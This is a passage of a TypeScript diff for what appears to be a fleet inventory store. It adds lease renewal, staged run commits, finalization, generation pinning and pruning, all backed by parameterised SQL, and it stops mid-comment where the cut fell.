+        startRun: (input) => this.#startRun(token, input),
+        readRun: (operationId) => this.readRunByOperation(operationId),
+        commitChunk: (input) => this.#commitChunk(token, input),
+        finalizeRun: (input) => this.#finalizeRun(token, input),
+        failRun: (input) => this.#failRun(token, input),
+        pinGeneration: (input) => this.#pinGeneration(token, input),
+        releasePin: (input) => this.#releasePin(token, input),
+        pruneInventoryGenerations: (input) =>
+          this.#pruneGenerations(token, input),
+      }),
+      operation,
+    });
+  }
+
+  async #runRenewingLease<T>(options: {
+    readonly label: string;
+    readonly renew: () => Promise<void>;
+    readonly release: () => Promise<void>;
+    readonly createLease: (
+      assertOwned: () => Promise<void>,
+    ) => FleetInventoryLease;
+    readonly operation: (lease: FleetInventoryLease) => Promise<T>;
+  }): Promise<T> {
+    const heartbeatAbort = new AbortController();
+    const renewalErrors: unknown[] = [];
+    const assertOwned = async () => {
+      const heartbeatError = renewalErrors[0];
+      if (heartbeatError !== undefined) {
+        throw new Error(`${options.label} heartbeat failed`, {
+          cause: heartbeatError,
+        });
+      }
+      await options.renew();
+    };
+    const lease = options.createLease(assertOwned);
+    const heartbeat = this.#renewUntilAborted(
+      options.renew,
+      heartbeatAbort.signal,
+    ).catch((error: unknown) => {
+      renewalErrors.push(error);
+    });
+
+    let operationFailed = false;
+    let operationError: unknown;
+    let outcome: { readonly value: T } | undefined;
+    try {
+      outcome = { value: await options.operation(lease) };
+    } catch (error) {
+      operationFailed = true;
+      operationError = error;
+    }
+
+    heartbeatAbort.abort();
+    await heartbeat;
+    if (!operationFailed && renewalErrors.length === 0) {
+      try {
+        await assertOwned();
+      } catch (error) {
+        renewalErrors.push(error);
+      }
+    }
+
+    let releaseFailed = false;
+    let releaseError: unknown;
+    try {
+      await options.release();
+    } catch (error) {
+      releaseFailed = true;
+      releaseError = error;
+    }
+
+    const errors: unknown[] = [];
+    if (operationFailed) errors.push(operationError);
+    errors.push(...renewalErrors);
+    if (releaseFailed) errors.push(releaseError);
+    if (errors.length === 1) throw errors[0];
+    // A run that fails beside a lease renewal or release failure reaches the
+    // caller inside the aggregate, first in `errors`: a caller that reads only
+    // `message` sees the cleanup summary, and the reason the run itself raised
+    // is in `AggregateError.errors[0]`.
+    if (errors.length > 1) {
+      throw new AggregateError(
+        errors,
+        `${options.label} operation and lease cleanup failed`,
+      );
+    }
+    if (!outcome) throw new Error(`${options.label} operation had no outcome`);
+    return outcome.value;
+  }
+
+  async #renewUntilAborted(
+    renew: () => Promise<void>,
+    signal: AbortSignal,
+  ): Promise<void> {
+    while (await this.#waitForRenewal(signal)) {
+      await renew();
+    }
+  }
+
+  #waitForRenewal(signal: AbortSignal): Promise<boolean> {
+    if (signal.aborted) return Promise.resolve(false);
+    return new Promise((resolve) => {
+      const timeout = setTimeout(
+        () => finish(true),
+        this.#leaseRenewalIntervalMs,
+      );
+      const aborted = () => finish(false);
+      const finish = (renew: boolean) => {
+        clearTimeout(timeout);
+        signal.removeEventListener('abort', aborted);
+        resolve(renew);
+      };
+      signal.addEventListener('abort', aborted, { once: true });
+    });
+  }
+
+  async #renewLease(token: string): Promise<void> {
+    const renewed = await this.#db.query(
+      `UPDATE ${LEASE_TABLE}
+      SET expires_at = ${DB_NOW_MS} + ?
+      WHERE account_id = ? AND owner_token = ?
+        AND expires_at > ${DB_NOW_MS}
+      RETURNING owner_token, expires_at`,
+      [this.#leaseTtlMs, this.#accountId, token],
+    );
+    if (renewed.length !== 1 || renewed[0]?.owner_token !== token) {
+      throw this.#leaseLost();
+    }
+  }
+
+  async #startRun(
+    token: string,
+    input: Readonly<{
+      operationId: string;
+      options: FleetInventoryRunOptions;
+      optionsDigest: string;
+    }>,
+  ): Promise<FleetInventoryRunRecord> {
+    const { operationId, options, optionsDigest } = input;
+    const seeded = fleetInventoryRunRecordFromUnknown({
+      version: 1,
+      operationId,
+      optionsDigest,
+      options,
+      state: 'staging',
+      progress: {
+        stage: initialFleetInventoryStage(options),
+        generation: 1,
+        revision: 0,
+        stagedCounts: emptyFleetInventoryRowCounts(),
+        factCount: 0,
+        providerRequests: 0,
+      },
+      // The coordinator supplies timestamps; the store's clock is database time.
+      updatedAt: new Date(0).toISOString(),
+    });
+    const claimed = await this.#db.batch([
+      {
+        sql: `INSERT INTO ${HEAD_TABLE} (
+          account_id, active_operation_id, latest_finalized_generation, next_generation
+        ) VALUES (?, NULL, NULL, 1)
+        ON CONFLICT (account_id) DO NOTHING`,
+        bindings: [this.#accountId],
+      },
+      {
+        sql: `UPDATE ${HEAD_TABLE}
+           SET active_operation_id = ?,
+               next_generation = next_generation
+                 + CASE WHEN active_operation_id = ? THEN 0 ELSE 1 END
+         WHERE account_id = ?
+           AND (active_operation_id = ?
+                OR (active_operation_id IS NULL
+                    AND NOT EXISTS (SELECT 1 FROM ${RUN_TABLE}
+                          WHERE account_id = ? AND operation_id = ?)))
+           AND ${this.#leaseExists()}
+        RETURNING next_generation, active_operation_id`,
+        bindings: [
+          operationId,
+          operationId,
+          this.#accountId,
+          operationId,
+          this.#accountId,
+          operationId,
+          ...this.#leaseBindings(token),
+        ],
+      },
+      {
+        sql: `INSERT INTO ${RUN_TABLE} (
+          operation_id, account_id, generation, options_digest, run_record, created_at_ms
+        )
+        SELECT ?, ?, h.next_generation - 1, ?,
+               json_set(?, '$.progress.generation', h.next_generation - 1),
+               ${DB_NOW_MS}
+         FROM ${HEAD_TABLE} h
+         WHERE h.account_id = ? AND h.active_operation_id = ?
+           AND NOT EXISTS (SELECT 1 FROM ${RUN_TABLE} existing
+                 WHERE existing.account_id = ? AND existing.operation_id = ?)
+        RETURNING operation_id, generation`,
+        bindings: [
+          operationId,
+          this.#accountId,
+          optionsDigest,
+          JSON.stringify(seeded),
+          this.#accountId,
+          operationId,
+          this.#accountId,
+          operationId,
+        ],
+      },
+    ]);
+    const head = claimed[1] ?? [];
+    const claimedHead =
+      head.length === 1 && head[0]?.active_operation_id === operationId;
+    const persisted = await this.#db.query(
+      `SELECT operation_id, generation, options_digest, run_record
+         FROM ${RUN_TABLE}
+        WHERE operation_id = ? AND account_id = ?`,
+      [operationId, this.#accountId],
+    );
+    const row = persisted[0];
+    if (!claimedHead && !row) throw this.#headContention(operationId);
+    if (!row) throw unknownRun(operationId);
+    if (rowString(row, 'options_digest') !== optionsDigest) {
+      throw runOptionsConflict(operationId);
+    }
+    const record = runRecordFromRow(row);
+    if (!claimedHead && record.state === 'staging') {
+      throw this.#headContention(operationId);
+    }
+    return record;
+  }
+
+  async readRunByOperation(
+    operationId: string,
+  ): Promise<FleetInventoryRunRecord | undefined> {
+    await this.#ensureSchema();
+    const rows = await this.#db.query(
+      `SELECT operation_id, generation, options_digest, run_record FROM ${RUN_TABLE}
+        WHERE operation_id = ? AND account_id = ?`,
+      [operationId, this.#accountId],
+    );
+    const row = rows[0];
+    if (!row) return undefined;
+    return runRecordFromRow(row);
+  }
+
+  async #commitChunk(
+    token: string,
+    input: Readonly<{
+      operationId: string;
+      expectedRevision: number;
+      runRecord: FleetInventoryRunRecord;
+      rows: readonly FleetInventoryStagedRow[];
+      facts: readonly FleetInventoryStagedFact[];
+    }>,
+  ): Promise<FleetInventoryRunRecord> {
+    const { operationId, expectedRevision } = input;
+    const runRecord = fleetInventoryRunRecordFromUnknown(input.runRecord);
+    const rows = input.rows.map(fleetInventoryStagedRowFromUnknown);
+    const facts = input.facts.map(fleetInventoryStagedFactFromUnknown);
+    if (
+      runRecord.operationId !== operationId ||
+      runRecord.state !== 'staging' ||
+      runRecord.progress.revision !== expectedRevision + 1
+    ) {
+      throw runConflict(operationId);
+    }
+    const generation = runRecord.progress.generation;
+    const rowPayloads = new Map(
+      rows.map((row) => [
+        `${row.kind}:${row.ordinal}`,
+        JSON.stringify(row.payload),
+      ]),
+    );
+    const factPayloads = new Map(
+      facts.map((fact) => [
+        `${fact.deploymentOrdinal}:${fact.factKind}:${fact.factOrdinal}`,
+        JSON.stringify(fact.payload),
+      ]),
+    );
+    if (
+      rowPayloads.size !== rows.length ||
+      factPayloads.size !== facts.length
+    ) {
+      throw new FleetInventoryStateError();
+    }
+    const stagingGuard = `FROM ${RUN_TABLE} r
+         WHERE r.account_id = ? AND r.operation_id = ?
+           AND r.generation = ? AND r.options_digest = ?
+           AND json_extract(r.run_record, '$.state') = 'staging'
+           AND json_extract(r.run_record, '$.progress.revision') = ?
+           AND ${this.#leaseExists()}`;
+    const stagingGuardBindings = [
+      this.#accountId,
+      operationId,
+      generation,
+      runRecord.optionsDigest,
+      expectedRevision,
+      ...this.#leaseBindings(token),
+    ];
+    const updated = await this.#db.batch([
+      ...rows.map((row) => ({
+        // Different bytes retain the unique-key failure, which rolls back siblings.
+        sql: `WITH proposed(account_id, generation, kind, ordinal, payload)
+          AS (VALUES (?, ?, ?, ?, ?))
+        INSERT INTO ${ROW_TABLE} (
+          account_id, generation, kind, ordinal, payload
+        )
+        SELECT p.account_id, p.generation, p.kind, p.ordinal, p.payload
+          FROM proposed p
+         WHERE EXISTS (SELECT 1 ${stagingGuard})
+           AND NOT EXISTS (SELECT 1 FROM ${ROW_TABLE} staged
+                 WHERE staged.account_id = p.account_id
+                   AND staged.generation = p.generation
+                   AND staged.kind = p.kind AND staged.ordinal = p.ordinal
+                   AND staged.payload = p.payload)
+        RETURNING kind, ordinal`,
+        bindings: [
+          this.#accountId,
+          generation,
+          row.kind,
+          row.ordinal,
+          rowPayloads.get(`${row.kind}:${row.ordinal}`),
+          ...stagingGuardBindings,
+        ],
+      })),
+      ...facts.map((fact) => ({
+        sql: `WITH proposed(account_id, generation, deployment_ordinal, fact_kind, fact_ordinal, payload)
+          AS (VALUES (?, ?, ?, ?, ?, ?))
+        INSERT INTO ${FACT_TABLE} (
+          account_id, generation, deployment_ordinal, fact_kind, fact_ordinal, payload
+        )
+        SELECT p.account_id, p.generation, p.deployment_ordinal, p.fact_kind, p.fact_ordinal, p.payload
+          FROM proposed p
+         WHERE EXISTS (SELECT 1 ${stagingGuard})
+           AND NOT EXISTS (SELECT 1 FROM ${FACT_TABLE} staged
+                 WHERE staged.account_id = p.account_id
+                   AND staged.generation = p.generation
+                   AND staged.deployment_ordinal = p.deployment_ordinal
+                   AND staged.fact_kind = p.fact_kind
+                   AND staged.fact_ordinal = p.fact_ordinal
+                   AND staged.payload = p.payload)
+        RETURNING fact_kind, fact_ordinal`,
+        bindings: [
+          this.#accountId,
+          generation,
+          fact.deploymentOrdinal,
+          fact.factKind,
+          fact.factOrdinal,
+          factPayloads.get(
+            `${fact.deploymentOrdinal}:${fact.factKind}:${fact.factOrdinal}`,
+          ),
+          ...stagingGuardBindings,
+        ],
+      })),
+      {
+        sql: `UPDATE ${RUN_TABLE}
+           SET run_record = ?
+         WHERE account_id = ? AND operation_id = ?
+           AND generation = ? AND options_digest = ?
+           AND json_extract(run_record, '$.state') = 'staging'
+           AND json_extract(run_record, '$.progress.revision') = ?
+           AND ${this.#leaseExists()}
+        RETURNING operation_id`,
+        bindings: [JSON.stringify(runRecord), ...stagingGuardBindings],
+      },
+    ]);
+    const written = updated.at(-1) ?? [];
+    if (written.length === 1 && written[0]?.operation_id === operationId) {
+      return runRecord;
+    }
+    return this.#commitConverged({
+      runRecord,
+      rowPayloads,
+      factPayloads,
+    });
+  }
+
+  async #commitConverged(
+    input: Readonly<{
+      runRecord: FleetInventoryRunRecord;
+      rowPayloads: ReadonlyMap<string, string | undefined>;
+      factPayloads: ReadonlyMap<string, string | undefined>;
+    }>,
+  ): Promise<FleetInventoryRunRecord> {
+    const { operationId } = input.runRecord;
+    const generation = input.runRecord.progress.generation;
+    const persisted = await this.readRunByOperation(operationId);
+    if (!persisted) throw unknownRun(operationId);
+    if (JSON.stringify(persisted) !== JSON.stringify(input.runRecord)) {
+      throw runConflict(operationId);
+    }
+    const storedRows = await this.#db.query(
+      `SELECT kind, ordinal, payload FROM ${ROW_TABLE}
+        WHERE account_id = ? AND generation = ?`,
+      [this.#accountId, generation],
+    );
+    const storedFacts = await this.#db.query(
+      `SELECT deployment_ordinal, fact_kind, fact_ordinal, payload
+         FROM ${FACT_TABLE}
+        WHERE account_id = ? AND generation = ?`,
+      [this.#accountId, generation],
+    );
+    const rowBytes = new Map(
+      storedRows.map((row) => [
+        `${rowString(row, 'kind')}:${rowNumber(row, 'ordinal')}`,
+        rowString(row, 'payload'),
+      ]),
+    );
+    const factBytes = new Map(
+      storedFacts.map((row) => [
+        `${rowNumber(row, 'deployment_ordinal')}:${rowString(row, 'fact_kind')}:${rowNumber(row, 'fact_ordinal')}`,
+        rowString(row, 'payload'),
+      ]),
+    );
+    let complete = true;
+    for (const [key, payload] of input.rowPayloads) {
+      const stored = rowBytes.get(key);
+      if (stored === undefined) complete = false;
+      else if (stored !== payload) throw stagedDivergence(operationId);
+    }
+    for (const [key, payload] of input.factPayloads) {
+      const stored = factBytes.get(key);
+      if (stored === undefined) complete = false;
+      else if (stored !== payload) throw stagedDivergence(operationId);
+    }
+    if (complete) return persisted;
+    throw runConflict(operationId);
+  }
+
+  async #finalizeRun(
+    token: string,
+    input: Readonly<{
+      operationId: string;
+      expectedRevision: number;
+      manifest: Readonly<Record<FleetInventoryRowKind, number>>;
+      factCount: number;
+    }>,
+  ): Promise<FleetInventoryGenerationRef> {
+    const { operationId, expectedRevision, manifest, factCount } = input;
+    const persisted = await this.readRunByOperation(operationId);
+    if (!persisted) throw unknownRun(operationId);
+    const generation = persisted.progress.generation;
+    if (
+      persisted.state === 'failed' ||
+      persisted.progress.revision !== expectedRevision
+    ) {
+      throw runConflict(operationId);
+    }
+    if (
+      !sameCounts(manifest, persisted.progress.stagedCounts) ||
+      factCount !== persisted.progress.factCount
+    ) {
+      throw manifestDisagreement(operationId);
+    }
+    if (persisted.state === 'staging') {
+      const finalized: FleetInventoryRunRecord = {
+        ...persisted,
+        state: 'finalized',
+      };
+      const manifestGuard = this.#generationManifestGuard(persisted);
+      await this.#db.batch([
+        {
+          sql: `UPDATE ${RUN_TABLE}
+             SET run_record = ?, finalized_at_ms = ${DB_NOW_MS}
+           WHERE account_id = ? AND operation_id = ?
+             AND generation = ? AND options_digest = ?
+             AND json_extract(run_record, '$.progress.revision') = ?
+             AND json_extract(run_record, '$.state') = 'staging'
+             AND ${this.#leaseExists()}
+             ${manifestGuard.sql}
+          RETURNING generation, finalized_at_ms`,
+          bindings: [
+            JSON.stringify(finalized),
+            this.#accountId,
+            operationId,
+            generation,
+            persisted.optionsDigest,
+            expectedRevision,
+            ...this.#leaseBindings(token),
+            ...manifestGuard.bindings,
+          ],
+        },
+        {
+          sql: `UPDATE ${HEAD_TABLE}
+             SET latest_finalized_generation = ?, active_operation_id = NULL
+           WHERE account_id = ? AND active_operation_id = ?
+             AND ${this.#leaseExists()}
+             AND EXISTS (SELECT 1 FROM ${RUN_TABLE}
+                   WHERE account_id = ? AND operation_id = ?
+                     AND generation = ? AND options_digest = ?
+                     AND finalized_at_ms IS NOT NULL
+                     AND json_extract(run_record, '$.state') = 'finalized')
+          RETURNING latest_finalized_generation`,
+          bindings: [
+            generation,
+            this.#accountId,
+            operationId,
+            ...this.#leaseBindings(token),
+            this.#accountId,
+            operationId,
+            generation,
+            persisted.optionsDigest,
+          ],
+        },
+      ]);
+    }
+    const run = await this.#db.query(
+      `SELECT operation_id, generation, options_digest, run_record, finalized_at_ms FROM ${RUN_TABLE}
+        WHERE operation_id = ? AND account_id = ?`,
+      [operationId, this.#accountId],
+    );
+    const runRow = run[0];
+    if (!runRow) throw unknownRun(operationId);
+    const record = runRecordFromRow(runRow);
+    const finalizedAtMs = optionalNumber(runRow, 'finalized_at_ms');
+    if (record.state !== 'finalized' || finalizedAtMs === undefined) {
+      if (record.progress.revision !== expectedRevision) {
+        throw runConflict(operationId);
+      }
+      throw manifestMismatch(operationId);
+    }
+    if (
+      JSON.stringify(record) !==
+      JSON.stringify({ ...persisted, state: 'finalized' })
+    ) {
+      throw runConflict(operationId);
+    }
+    const head = await this.#headRow();
+    if (optionalNumber(head, 'latest_finalized_generation') !== generation) {
+      await this.#db.query(
+        `UPDATE ${HEAD_TABLE}
+           SET latest_finalized_generation = ?, active_operation_id = NULL
+         WHERE account_id = ?
+           AND (active_operation_id IS NULL OR active_operation_id = ?)
+           AND (latest_finalized_generation IS NULL OR latest_finalized_generation < ?)
+           AND ${this.#leaseExists()}
+           AND EXISTS (SELECT 1 FROM ${RUN_TABLE}
+                 WHERE account_id = ? AND operation_id = ?
+                   AND generation = ? AND options_digest = ?
+                   AND finalized_at_ms IS NOT NULL
+                   AND json_extract(run_record, '$.state') = 'finalized')
+        RETURNING latest_finalized_generation`,
+        [
+          generation,
+          this.#accountId,
+          operationId,
+          generation,
+          ...this.#leaseBindings(token),
+          this.#accountId,
+          operationId,
+          generation,
+          persisted.optionsDigest,
+        ],
+      );
+    }
+    return {
+      generation,
+      operationId,
+      finalizedAtMs,
+      rowManifest: record.progress.stagedCounts,
+      factCount: record.progress.factCount,
+    };
+  }
+
+  async #failRun(
+    token: string,
+    input: Readonly<{
+      operationId: string;
+      expectedRevision: number;
+      reason: FleetInventoryFailureReason;
+    }>,
+  ): Promise<void> {
+    const { operationId, expectedRevision, reason } = input;
+    if (!FLEET_INVENTORY_FAILURE_REASONS.includes(reason)) {
+      throw new Error('fleet inventory failure reason is not recognized');
+    }
+    const persisted = await this.readRunByOperation(operationId);
+    if (!persisted) throw unknownRun(operationId);
+    if (
+      persisted.progress.revision !== expectedRevision ||
+      persisted.state === 'finalized'
+    ) {
+      throw runConflict(operationId);
+    }
+    const failed: FleetInventoryRunRecord = {
+      ...persisted,
+      state: 'failed',
+    };
+    await this.#db.batch([
+      ...(persisted.state === 'staging'
+        ? [
+            {
+              sql: `UPDATE ${RUN_TABLE}
+             SET run_record = ?
+           WHERE account_id = ? AND operation_id = ?
+             AND generation = ? AND options_digest = ?
+             AND json_extract(run_record, '$.state') = 'staging'
+             AND json_extract(run_record, '$.progress.revision') = ?
+             AND ${this.#leaseExists()}
+          RETURNING operation_id`,
+              bindings: [
+                JSON.stringify(failed),
+                this.#accountId,
+                operationId,
+                persisted.progress.generation,
+                persisted.optionsDigest,
+                expectedRevision,
+                ...this.#leaseBindings(token),
+              ],
+            },
+          ]
+        : []),
+      {
+        sql: `UPDATE ${HEAD_TABLE}
+             SET active_operation_id = NULL
+           WHERE account_id = ? AND active_operation_id = ?
+             AND ${this.#leaseExists()}
+             AND EXISTS (SELECT 1 FROM ${RUN_TABLE}
+                   WHERE account_id = ? AND operation_id = ?
+                     AND generation = ? AND options_digest = ?
+                     AND json_extract(run_record, '$.state') = 'failed')
+          RETURNING account_id`,
+        bindings: [
+          this.#accountId,
+          operationId,
+          ...this.#leaseBindings(token),
+          this.#accountId,
+          operationId,
+          persisted.progress.generation,
+          persisted.optionsDigest,
+        ],
+      },
+    ]);
+    const readback = await this.readRunByOperation(operationId);
+    if (!readback) throw unknownRun(operationId);
+    if (
+      JSON.stringify(readback) !==
+      JSON.stringify({ ...persisted, state: 'failed' })
+    ) {
+      throw runConflict(operationId);
+    }
+  }
+
+  async #headRow(): Promise<Row | undefined> {
+    const rows = await this.#db.query(
+      `SELECT active_operation_id, latest_finalized_generation, next_generation
+         FROM ${HEAD_TABLE} WHERE account_id = ?`,
+      [this.#accountId],
+    );
+    return rows[0];
+  }
+
+  #generationManifestGuard(record: FleetInventoryRunRecord): Readonly<{
+    sql: string;
+    bindings: readonly unknown[];
+  }> {
+    const { generation, stagedCounts, factCount } = record.progress;
+    const total = FLEET_INVENTORY_ROW_KINDS.reduce(
+      (sum, kind) => sum + stagedCounts[kind],
+      0,
+    );
+    return {
+      sql: `AND (SELECT COUNT(*) FROM ${FACT_TABLE}
+              WHERE account_id = ? AND generation = ?) = ?
+            AND (SELECT COUNT(*) FROM ${ROW_TABLE}
+              WHERE account_id = ? AND generation = ?) = ?
+            ${FLEET_INVENTORY_ROW_KINDS.map(
+              (kind) => `AND (SELECT COUNT(*) FROM ${ROW_TABLE}
+              WHERE account_id = ? AND generation = ? AND kind = '${kind}'
+                AND typeof(ordinal) = 'integer' AND ordinal >= 0 AND ordinal < ?) = ?`,
+            ).join('\n')}`,
+      bindings: [
+        this.#accountId,
+        generation,
+        factCount,
+        this.#accountId,
+        generation,
+        total,
+        ...FLEET_INVENTORY_ROW_KINDS.flatMap((kind) => [
+          this.#accountId,
+          generation,
+          stagedCounts[kind],
+          stagedCounts[kind],
+        ]),
+      ],
+    };
+  }
+
+  async #pinTarget(generation: number): Promise<
+    Readonly<{
+      ref: FleetInventoryGenerationRef;
+      record: FleetInventoryRunRecord;
+    }>
+  > {
+    const target = await this.#finalizedRef(generation);
+    const guard = this.#generationManifestGuard(target.record);
+    const available = await this.#db.query(
+      `SELECT 1 AS available WHERE 1 = 1 ${guard.sql}`,
+      guard.bindings,
+    );
+    if (available.length !== 1 || available[0]?.available !== 1) {
+      await this.#finalizedRef(generation);
+      throw corruptGeneration(generation);
+    }
+    return target;
+  }
+
+  async #pinGeneration(
+    token: string,
+    input: Readonly<{ generation: number; pinnedBy: string }>,
+  ): Promise<void> {
+    const { generation, pinnedBy } = input;
+    assertGeneration(generation);
+    assertPinnedBy(pinnedBy);
+    const { ref, record } = await this.#pinTarget(generation);
+    const manifestGuard = this.#generationManifestGuard(record);
+    await this.#db.batch([
+      {
+        sql: `INSERT INTO ${PIN_TABLE} (
+          account_id, generation, pinned_by, pinned_at_ms
+        )
+        SELECT ?, ?, ?, ${DB_NOW_MS}
+         WHERE ${this.#leaseExists()}
+           AND EXISTS (SELECT 1 FROM ${RUN_TABLE} r
+             WHERE r.account_id = ? AND r.generation = ?
+               AND r.operation_id = ? AND r.options_digest = ?
+               AND r.finalized_at_ms = ?
+               AND json_extract(r.run_record, '$.state') = 'finalized')
+           ${manifestGuard.sql}
+        ON CONFLICT (account_id, generation, pinned_by) DO NOTHING
+        RETURNING generation`,
+        bindings: [
+          this.#accountId,
+          generation,
+          pinnedBy,
+          ...this.#leaseBindings(token),
+          this.#accountId,
+          generation,
+          record.operationId,
+          record.optionsDigest,
+          ref.finalizedAtMs,
+          ...manifestGuard.bindings,
+        ],
+      },
+    ]);
+    if (!(await this.#pinned(generation, pinnedBy))) {
+      await this.#pinTarget(generation);
+      throw this.#leaseLost();
+    }
+  }
+
+  async #releasePin(
+    token: string,
+    input: Readonly<{ generation: number; pinnedBy: string }>,
+  ): Promise<void> {
+    const { generation, pinnedBy } = input;
+    assertGeneration(generation);
+    assertPinnedBy(pinnedBy);
+    await this.#db.batch([
+      {
+        sql: `DELETE FROM ${PIN_TABLE}
+         WHERE account_id = ? AND generation = ? AND pinned_by = ?
+           AND ${this.#leaseExists()}
+        RETURNING generation`,
+        bindings: [
+          this.#accountId,
+          generation,
+          pinnedBy,
+          ...this.#leaseBindings(token),
+        ],
+      },
+    ]);
+    if (await this.#pinned(generation, pinnedBy)) throw this.#leaseLost();
+  }
+
+  async #pinned(generation: number, pinnedBy: string): Promise<boolean> {
+    const rows = await this.#db.query(
+      `SELECT generation FROM ${PIN_TABLE}
+        WHERE account_id = ? AND generation = ? AND pinned_by = ?`,
+      [this.#accountId, generation, pinnedBy],
+    );
+    return rows.length > 0;
+  }
+
+  async #pruneGenerations(
+    token: string,
+    input: Readonly<{ limit: number }>,
+  ): Promise<Readonly<{ deleted: number }>> {
+    const { limit } = input;
+    if (!Number.isSafeInteger(limit) || limit < 1 || limit > PRUNE_LIMIT_MAX) {
+      throw new Error(`limit must be an integer from 1 to ${PRUNE_LIMIT_MAX}`);
+    }
+    const candidates = await this.#db.query(
+      `SELECT generation FROM ${RUN_TABLE} r
+        WHERE r.account_id = ?
+          AND (r.finalized_at_ms IS NOT NULL
+               OR json_extract(r.run_record, '$.state') = 'failed')
+          AND NOT EXISTS (SELECT 1 FROM ${HEAD_TABLE}
+                WHERE account_id = r.account_id
+                  AND (latest_finalized_generation = r.generation
+                       OR active_operation_id = r.operation_id))
+          AND NOT EXISTS (SELECT 1 FROM ${PIN_TABLE}
+                WHERE account_id = r.account_id AND generation = r.generation)
+        ORDER BY r.generation ASC
+        LIMIT ?`,
+      [this.#accountId, limit],
+    );
+    let deleted = 0;
+    for (const candidate of candidates) {
+      const generation = rowNumber(candidate, 'generation');
+      const guard = `AND NOT EXISTS (SELECT 1 FROM ${PIN_TABLE}
+             WHERE account_id = ? AND generation = ?)
+           AND NOT EXISTS (SELECT 1 FROM ${HEAD_TABLE} h
+             WHERE h.account_id = ?
+               AND (h.latest_finalized_generation = ?
+                 OR EXISTS (SELECT 1 FROM ${RUN_TABLE} active_run
+                   WHERE active_run.account_id = h.account_id
+                     AND active_run.operation_id = h.active_operation_id
+                     AND active_run.generation = ?)))
+           AND ${this.#leaseExists()}`;
+      const guardBindings = [
+        this.#accountId,
+        generation,
+        this.#accountId,
+        generation,
+        generation,
+        ...this.#leaseBindings(token),
+      ];
+      const results = await this.#db.batch([
+        {
+          sql: `DELETE FROM ${ROW_TABLE}
+           WHERE account_id = ? AND generation = ?
+             ${guard}
+          RETURNING ordinal`,
+          bindings: [this.#accountId, generation, ...guardBindings],
+        },
+        {
+          sql: `DELETE FROM ${FACT_TABLE}
+           WHERE account_id = ? AND generation = ?
+             ${guard}
+          RETURNING fact_ordinal`,
+          bindings: [this.#accountId, generation, ...guardBindings],
+        },
+        {
+          sql: `DELETE FROM ${RUN_TABLE}
+           WHERE account_id = ? AND generation = ?
+             ${guard}
+          RETURNING generation`,
+          bindings: [this.#accountId, generation, ...guardBindings],
+        },
+      ]);
+      deleted += (results.at(-1) ?? []).length;
+    }
+    return { deleted };
+  }
+
+  async latestFinalizedGeneration(): Promise<
+    FleetInventoryGenerationRef | undefined
+  > {
+    await this.#ensureSchema();
+    const latest = optionalNumber(
+      await this.#headRow(),
+      'latest_finalized_generation',
+    );
+    if (latest === undefined) return undefined;
+    return (await this.#finalizedRef(latest)).ref;
+  }
+
+  /**
+   * Reads one finalized generation. Only the latest finalized generation, or a
+   * generation an operator pinned first, is readable; a partial, failed, or
+   * corrupt generation is structurally unreadable.
+   */
+  async readFinalizedGeneration(
+    generation: number,
+  ): Promise<FleetInventoryGeneration> {
+    assertGeneration(generation);
+    await this.#ensureSchema();
+    const latest = optionalNumber(
+      await this.#headRow(),
+      'latest_finalized_generation',
+    );
+    if (latest !== generation) {
+      const pins = await this.#db.query(
+        `SELECT generation FROM ${PIN_TABLE}
+          WHERE account_id = ? AND generation = ?`,
+        [this.#accountId, generation],
+      );
+      if (pins.length === 0) throw requiresPin(generation);
+    }
+    const { ref, record } = await this.#finalizedRef(generation);
+    const storedRows = await this.#db.query(
+      `SELECT kind, ordinal, payload FROM ${ROW_TABLE}
+        WHERE account_id = ? AND generation = ?
+        ORDER BY kind ASC, ordinal ASC`,
+      [this.#accountId, generation],
+    );
+    const storedFacts = await this.#db.query(
+      `SELECT deployment_ordinal, fact_kind, fact_ordinal, payload
+         FROM ${FACT_TABLE}
+        WHERE account_id = ? AND generation = ?
+        ORDER BY deployment_ordinal ASC, fact_kind ASC, fact_ordinal ASC`,
+      [this.#accountId, generation],
+    );
+    const rows = storedRows.map((row) =>
+      fleetInventoryStagedRowFromUnknown({
+        kind: rowString(row, 'kind'),
+        ordinal: rowNumber(row, 'ordinal'),
+        payload: JSON.parse(rowString(row, 'payload')),
+      }),
+    );
+    const facts = storedFacts.map((row) =>
+      fleetInventoryStagedFactFromUnknown({
+        deploymentOrdinal: rowNumber(row, 'deployment_ordinal'),
+        factKind: rowString(row, 'fact_kind'),
+        factOrdinal: rowNumber(row, 'fact_ordinal'),
+        payload: JSON.parse(rowString(row, 'payload')),
+      }),
+    );
+    const live = emptyFleetInventoryRowCounts() as Record<
+      FleetInventoryRowKind,
+      number
+    >;
+    for (const row of rows) live[row.kind] += 1;
+    if (
+      !sameCounts(live, record.progress.stagedCounts) ||
+      facts.length !== record.progress.factCount
+    ) {
+      throw corruptGeneration(generation);
+    }
+    for (const kind of FLEET_INVENTORY_ROW_KINDS) {
+      // Sorted locally so contiguity never depends on the SELECT's ORDER BY.
+      const ordinals = rows
+        .filter((row) => row.kind === kind)
+        .map((row) => row.ordinal)
+        .sort((left, right) => left - right);
+      if (ordinals.some((ordinal, index) => ordinal !== index)) {
+        throw corruptGeneration(generation);
+      }
+    }
+    return { ref, rows, facts };
+  }
+
+  async #finalizedRef(generation: number): Promise<
+    Readonly<{
+      ref: FleetInventoryGenerationRef;
+      record: FleetInventoryRunRecord;
+    }>
+  > {
+    const rows = await this.#db.query(
+      `SELECT operation_id, generation, options_digest, run_record, finalized_at_ms FROM ${RUN_TABLE}
+        WHERE account_id = ? AND generation = ?`,
+      [this.#accountId, generation],
+    );
+    const row = rows[0];
+    if (!row) throw notFinalized(generation);
+    const finalizedAtMs = optionalNumber(row, 'finalized_at_ms');
+    const record = runRecordFromRow(row);
+    if (record.state !== 'finalized' || finalizedAtMs === undefined) {
+      throw notFinalized(generation);
+    }
+    return {
+      ref: {
+        generation,
+        operationId: rowString(row, 'operation_id'),
+        finalizedAtMs,
+        rowManifest: record.progress.stagedCounts,
+        factCount: record.progress.factCount,
+      },
+      record,
+    };
+  }
+
+  /**
+   * Acquires the account lease and pins a finalized generation. It is ONLY for
+   * callers that do not already hold the lease: inside a
+   * `withAccountInventoryLease` callback use `lease.pinGeneration`, because
+   * this wrapper would attempt a second acquisition of the same account lease
+   * and fail with the contention error.
+   */
+  pinGeneration(
+    input: Readonly<{ generation: number; pinnedBy: string }>,
+  ): Promise<void> {
+    return this.withAccountInventoryLease((lease) =>
+      lease.pinGeneration(input),
+    );
+  }
+
+  /**
+   * Acquires the account lease and releases a pin. It is ONLY for callers that
+   * do not already hold the lease: inside a `withAccountInventoryLease`
